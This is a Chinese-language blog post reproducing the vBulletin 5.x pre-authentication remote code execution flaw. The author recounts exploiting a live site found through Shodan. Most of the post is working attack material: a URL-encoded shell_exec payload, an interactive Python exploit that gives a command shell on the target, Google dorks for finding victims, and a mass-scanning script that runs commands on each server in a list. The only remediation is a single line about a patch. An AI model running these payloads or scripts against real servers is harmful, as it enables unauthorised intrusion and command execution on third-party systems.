vBulletin RCE漏洞复现

作者: H0r2yC 分类: 漏洞利用 发布时间: 2019-09-26 15:01

0x01 前言

漏洞POC来自圈子社区 最近RCE漏洞突然就多了起来,一个个复现一下 , vBulletin的RCE漏洞可在未登录的情况下对搭建vBulletin论坛的服务器任意代码执行。

0x02 vBulletin简介

vBulletin 是世界上用户非常广泛的PHP论坛,很多大型论坛都选择vBulletin作为自己的社区。vBulletin高效,稳定,安全,在中国也有很多大型客户,比如蜂鸟网,51团购,海洋部落等在线上万人的论坛都用vBulletin。–百度百科

0x03 漏洞范围

vBulletin 5.0.0 ~ 5.5.4

0x04 复现过程

shodan搜索vBulletin,找到某漏洞网站,更改请求类型为POST并添加data数据,失败,但是使用POC利用成功,在POC添加代理抓包分析一下失败原因。

通过burp抓包对比,发现需要添加一个http头

Content-Type: application/x-www-form-urlencoded

data数据为routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27ls%27%29%3B+exit%3B

请求包如下

可以看出是由于widgetConfig[code]参数控制不当导致漏洞形成,等大佬漏洞分析文章发出来,在复现一次做一波原理分析。

附漏洞利用POC

#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
# 
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))


批量检测

import requests
import sys
import re

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL LIST TXT>" % sys.argv[0])

data= {"routestring":"ajax/render/widget_php"}

with open(sys.argv[1],'r') as file:
     urllist = file.read().splitlines()
for i in urllist:
     try:
          #dir命令window/linux通用,根据命名规则不能包含<>等特殊字符进行判断
          data["widgetConfig[code]"] = "echo shell_exec('dir'); exit;"
          r = requests.post(url = i, data = data)
          if r.status_code == 200 and '<' not in r.text:
               check2 = re.findall(r'\w+',r.text)
               if check2:
                    print(i+" vuln!!!")
          else:
               print(i + ' safe')
     except Exception as e:
          print(str(e))

0x05 漏洞修复

官方今日已发布补丁。

     

公众号:网安成长笔记